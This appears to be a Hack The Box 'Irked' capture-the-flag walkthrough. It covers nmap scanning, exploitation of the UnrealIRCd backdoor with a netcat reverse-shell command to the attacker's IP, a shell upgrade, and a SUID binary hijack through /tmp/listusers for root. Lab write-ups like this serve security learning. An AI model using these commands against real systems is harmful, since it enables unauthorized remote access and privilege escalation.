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# HTB - Irked
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
13709/tcp filtered netbackup
34347/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP ( PORT 80)
Application is running Apache Version 2.4.
nothing interesting on port 80 shifting focus to next port.
### Port 8067
port 8067 is running UnrealIRCd.
I dont what it is but searching for vulnerabilities reveals it faces a critical backdoor RCE.
but i need the version to confirm that the vulnerability works. Accessing it directly results in ping timeout error.
```bash
┌──(ajay㉿kali)-[~]
└─$ nmap -p 6697,8067 --script=irc-unrealircd-backdoor 10.129.89.116
Starting Nmap 7.98 ( https://nmap.org ) at 2026-09-20 20:36 +0000
Nmap scan report for 10.129.89.116
Host is up (0.044s latency).
PORT STATE SERVICE
6697/tcp open ircs-u
|_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again).
8067/tcp open infi-async
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
Nmap done: 1 IP address (1 host up) scanned in 32.10 seconds
```
running nmap script on the ports reveals there is a possibility of vulnerable version on port 8067 but i need the exact version number to be 100 percent certain of it.
running an aggressive scan reveals a admin email.
googling on how to interact with the irc reveals the below commands
that said i will use hexchat to interact with the service.
### Hexchat to interact with IRC
install the hexchat as follows
```
sudo apt update && sudo apt install hexchat -y
```
launch hexchat
When the Network List opens:
1. Click **Add** → name it `irked` and press enter
2. Click **Edit**
**Step 2 — Click "Edit..."**
* You'll see a server edit window
* Under the **Servers** tab, you'll see a default entry like `newserver/6667`
* **Double-click** that entry and replace it with: 10.129.89.116/8067 and press enter
**Step 3 — In the same Edit window:**
* Uncheck **"Use SSL"** if checked
* Uncheck **"Use global user information"** if you want (optional)
* Make sure nick is `ajay`
* Leave everything else default
**Step 4 — Click "Close" on the Edit window, then "Connect"**
Or back on the Network List, select `irked` from the list and click **Connect**.
click ok.
enter this command to enumerate the version
/QUOTE VERSION
and the version is leaked and is vulnerable.
{% embed url="" %}
found the above poc to exploit the vulnerability where it is sending the below to exploit the vulnerability
```
sock.put("AB;" + payload.encoded + "\n")
```
let me do the same to get reverse shell
```bash
┌──(ajay㉿kali)-[~]
└─$ echo "AB; nc -e /bin/bash 10.10.14.52 4444" | nc 10.129.89.116 8067
```
## Shell as IRCD
upgrade the shell
```bash
python -c 'import pty;pty.spawn("/bin/bash")'
ircd@irked:~/Unreal3.2$ export TERM=xterm
export TERM=xterm
ircd@irked:~/Unreal3.2$
```
need to get access as djmardov to read the user flag.
found a backup file
leaks a steg password.
that means it is related to a image, the only where i found image is on port 80. lets download that and investigate it.
i can try this against djmardov.
## Shell as Djmardov
the binary `viewuser` looks interesting which has suid bit set on it.
running the binary gives the following details
it is developed for setting and testing user permissions and calls a file called `listusers` in tmp directory which doesn’t exist.
what i will do here is insert a bash shell in listusers file and give it execute privileges when run by the viewuser it runs as root.
```bash
djmardov@irked:~$ echo '/bin/bash' > /tmp/listusers
djmardov@irked:~$ chmod +x /tmp/listusers
```
## Shell as Root
---
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